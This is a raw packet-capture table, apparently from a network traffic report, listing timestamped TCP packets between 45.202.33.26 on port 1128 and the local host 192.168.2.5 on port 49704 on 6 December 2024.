Dec 6, 2024 14:19:45.927253008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.927346945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.927622080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.927759886 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.927822113 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.928580999 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.928725004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.928770065 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.929569006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.929707050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.929883003 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.930576086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.930650949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.930697918 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.931564093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.931668043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.931730986 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.932540894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.932709932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.932771921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.933517933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.933562040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.933763981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.934564114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.934680939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.934736013 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.935539007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.935663939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.935715914 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.936499119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.936641932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.936693907 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.937482119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.937647104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.937738895 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.938455105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.938591003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.938741922 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.939493895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.939574003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.939626932 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.940453053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.940573931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.940619946 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.941453934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.941497087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.941540956 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.942467928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.942523956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.942569017 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.943424940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.943519115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.943558931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.944420099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.944510937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.944565058 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.945388079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.945461988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.945528984 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.946389914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.946502924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.946599007 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.947432041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.947494030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.947539091 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.948406935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.948506117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.948561907 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.949466944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.949534893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.949743032 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.950365067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.950428963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.950541019 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.951395035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.951498032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.951546907 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.952380896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.952477932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.952624083 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.953378916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.953510046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.953557014 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.954318047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.954473019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.954510927 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.955282927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.955387115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.955450058 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.956348896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.956387997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.956425905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.957279921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.957384109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.957433939 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.958271027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.958473921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.958517075 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.959249020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.959362984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.959471941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.960294008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.960391998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.960474014 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.961232901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.961340904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.961514950 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.962208033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.962353945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.962438107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.963218927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.963325024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.963471889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.964205980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.964358091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.964409113 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.965198994 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.965328932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.965414047 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.966172934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.966299057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.966341972 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.967173100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.967333078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.967392921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.968152046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.968250036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.968314886 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.969168901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.969260931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.969312906 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.970119953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.970253944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.970304966 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.971105099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.971240997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.971287012 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.972104073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.972235918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.972280979 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.973114967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.994891882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.994963884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.994998932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.995419979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.995491982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.995498896 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.996397972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.996444941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.996536016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.997375965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.997437954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.116682053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.116734028 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.116827965 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.116929054 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.117108107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.117160082 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.118015051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.118113041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.118156910 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.118941069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.118987083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.119035006 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.119654894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.119710922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.120651007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.120692015 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.120767117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.121582031 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.121617079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.121726036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.121763945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.122623920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.122694016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.122735023 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.123600006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.123723984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.124593019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.124636889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.124752998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.125596046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.125633955 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.125721931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.125812054 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.126580000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.126684904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.126730919 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.127573967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.127660990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.127703905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.128557920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.128680944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.129535913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.129580975 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.129662991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.129709959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.130631924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.130861998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.130907059 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.131561995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.131731987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.131778955 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.132534027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.132709026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.132766008 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.133534908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.133673906 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.134490013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.134536028 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.134593964 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.135459900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.135509014 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.135569096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.135611057 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.136464119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.136603117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.136646986 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.137465954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.137581110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.138453960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.138499975 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.138535976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.139424086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.139466047 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.139497995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.139539003 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.140422106 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.140587091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.140639067 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.141398907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.141511917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.141577959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.142419100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.142502069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.142544985 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.143446922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.143501043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.144392967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.144432068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.144545078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.145390987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.145436049 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.145464897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.145504951 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.146353960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.146470070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.146511078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.147345066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.147488117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.147530079 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.148355007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.148502111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.148546934 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.149344921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.149437904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.149496078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.150548935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.150763035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.150816917 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.151412010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.151503086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.151554108 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.152379990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.152494907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.153296947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.153342962 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.153431892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.153553009 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.154295921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.154417992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.154457092 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.155335903 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.155450106 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.155663967 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.156348944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.156466961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.156526089 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.157299042 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.157421112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.157463074 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.158279896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.158382893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.158536911 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.159270048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.159368038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.159404993 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.160237074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.160353899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.160464048 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.161216974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.161336899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.161375999 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.162230968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.162360907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.162404060 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.163208008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.163330078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.163378954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.164186954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.164288998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.164417982 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.165162086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.186731100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.186772108 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.186789036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.187035084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.187081099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.187195063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.188024044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.188062906 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.188153028 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.188978910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.189028025 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.189062119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.308778048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.308815002 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.308866024 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.309196949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.309287071 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.309312105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.309966087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.310015917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.310019970 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.311012983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.311054945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.311063051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.312098026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.312139034 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.312266111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.313138008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.313173056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.313191891 CET	49704	1128	192.168.2.5	45.202.33.26
